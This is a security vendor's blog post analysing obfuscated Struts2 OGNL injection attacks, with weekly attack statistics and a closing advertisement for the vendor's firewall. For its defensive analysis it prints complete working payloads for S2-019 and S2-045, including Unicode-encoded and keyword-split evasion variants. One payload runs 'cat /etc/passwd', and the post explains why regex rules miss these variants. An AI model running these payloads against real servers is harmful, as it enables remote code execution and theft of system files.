Struts2变种来袭
Posted 深信服千里目安全实验室
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Struts2变种来袭相关的知识,希望对你有一定的参考价值。
一、概述
近期,深信服应用防火墙安全团队捕获到大量Struts2漏洞变形攻击,平均每周受攻击已达百万次。
Struts2从2007年7月23日发布第一个漏洞S2-001至今已经有57个漏洞。其中RCE漏洞一直作为焦点备受瞩目,对于黑客来说,这无疑是一个收获“肉机”的大杀器。
攻击者可以通过发送恶意构造的HTTP请求包利用该漏洞,进而在存在漏洞的服务器上执行系统命令,造成拒绝服务、数据泄露、网站篡改等影响,并且由于其漏洞利用上不存在限制,因而其危害相对严重。
近些年,由于Struts2的RCE漏洞不断出现,导致了对Struts2的分析更加深入,这样就产生了一些与过去利用方式不同的变形利用。
二、Struts2变形分析
这里选择捕获到的S2-019漏洞两种变形利用进行分析。
S2-019是S2-008提出的第四个漏洞,属于DebuggingInterceptor拦截器的缺陷漏洞,这个漏洞利用要保证配置中的开发模式是打开的,即配置为
<constant name=”struts.devMode” value=”true” />
列举两个公开利用的攻击载荷(payload):
1.debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println(''+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()
该攻击载荷可让服务器执行OGNL语法执行代码,让服务器在响应中输出服务器执行“id”命令的结果。
2.debug=command&expression=#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().print("opps!"),#resp.getWriter().print("attack_by_anonymous"),#resp.getWriter().flush(),#resp.getWriter().close()
该攻击载荷可让服务器执行OGNL语法执行代码,让服务器在响应中输出字符串:
“attack_by_anonymous”
表明这是一个“匿名者组织”在使用包含S2-019漏洞的探测工具对全网进行探测,一旦被检测到存在漏洞,攻击者便可以进一步的利用该漏洞,控制服务器。
1、编码变形分析
捕获到St2-019的Unicode编码变形攻击载荷(payload):
debug=command&expression=\u0023a\u003D\u0028new java\u002Elang\u002EProcessBuilder\u0028\u0027id\u0027\u0029\u0029\u002Estart\u0028\u0029,\u0023b\u003D\u0023a\u002EgetInputStream\u0028\u0029,\u0023c\u003Dnew java\u002Eio\u002EInputStreamReader\u0028\u0023b\u0029,\u0023d\u003Dnew java\u002Eio\u002EBufferedReader\u0028\u0023c\u0029,\u0023e\u003Dnew char\u005B50000\u005D,\u0023d\u002Eread\u0028\u0023e\u0029,\u0023out\u003D\u0023context\u002Eget\u0028\u0027com\u002Eopensymphony\u002Exwork2\u002Edispatcher\u002EHttpServletResponse\u0027\u0029,\u0023out\u002EgetWriter\u0028\u0029\u002Eprintln\u0028\u0027\u0027+new java\u002Elang\u002EString\u0028\u0023e\u0029\u0029,\u0023out\u002EgetWriter\u0028\u0029\u002Eflush\u0028\u0029,\u0023out\u002EgetWriter\u0028\u0029\u002Eclose\u0028\u0029
该攻击载荷变形是针对特殊符号做Unicode编码,如’\u0023’为’#’的Unicode编码。
2、语法变形分析
捕获到S2-019的语法变形攻击载荷(payload):
debug=command&expression=#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding
('UTF-8'),#resp.getWriter().print("opps!"),
#resp.getWriter().print("attack_by_anonymous"),
#resp.getWriter().flush(),#resp.getWriter().close()
该攻击载荷变形是将java的包名com.opensymphony.xwork2.dispatcher.HttpServletRequest进行关键词拆分。
3、语法变形有效攻击案例分析
在捕获到利用Struts2-045攻击案例中利用关键词拆分语法变形依然可进行有效利用,如以下为利用关键词拆分语法变形后的攻击载荷(Payload):
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.'+'ope'+'nsym'+'phony.xwork'+'2.A'+'ctio'+'nCo'+'ntext.cont'+'ainer']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#cmds=({'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
依然可执行OGNL表达式,让服务器执行“cat /etc/passwd”命令,将服务器敏感文件/etc/passwd的内容输出给攻击者,攻击效果如下图所示:
4、传统规则防护无法有效防护变形攻击
传统安全防护设备多数只是通过规则(正则)匹配关键字的方法对struts2漏洞进行检测拦截,是无法有效检测出语法、编码以及其它变形的情况。如需检测包含:
’com.opensymphony.xwork2.dispatcher.HttpServletRequest’
的攻击载荷,需要编写的规则(正则)为:
/(com\.opensymphony\.xwork2\.dispatcher\.HttpServletRequest)/
若攻击载荷通过关键词拆分语法变形可转化为:
”'co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'”
编写的规则是无法检测到语法变形后的攻击载荷的,并且很难编写出有效的规则对语法变形进行检测。
三、全网受Struts2攻击趋势
1、最近一周受所有Struts2攻击趋势
在10月15号到10月 22号期间,检测到攻击总数为1184万,平均每天都要遭受到170万次攻击,七天内的攻击频率变化如下图所示:
2、最近一周受所有变形Struts2攻击趋势
在10月15号到10月22号期间,检测到变形的攻击次数达101万,占攻击总数的8.5%。
其七天的内攻击频率变化如下图所示:
其中利用编码、语法变形以及其它变形攻击的攻击占比如下图所示:
四、解决方案
深信服安全研发人员通过对Struts2攻击原理分析,发现发现Struts2攻击都需要基于OGNL语法构建攻击数据,因此在深信服AF下一代防火墙防御机制中加入创新的语法检测引擎,通过对Struts2攻击进行语法分析,不仅解决了传统防御方式中存在的漏报误报,而且从根本上对Struts2攻击进行防御,做到真正意义上的“一劳永逸”!
在此,强烈推荐使用深信服AF下一代防火墙,深信服下一代防火墙(AF8.0.5)已经具备了Struts2高危漏洞及其变形攻击的防御能力。同时建议深信服下一代防火墙用户,及时更新AF版本,并开启WAF、IPS安全防护,可轻松防御此类高危漏洞攻击。
以上是关于Struts2变种来袭的主要内容,如果未能解决你的问题,请参考以下文章
史上最严重Struts2 0day漏洞再度来袭!安恒玄武盾免费提供防护!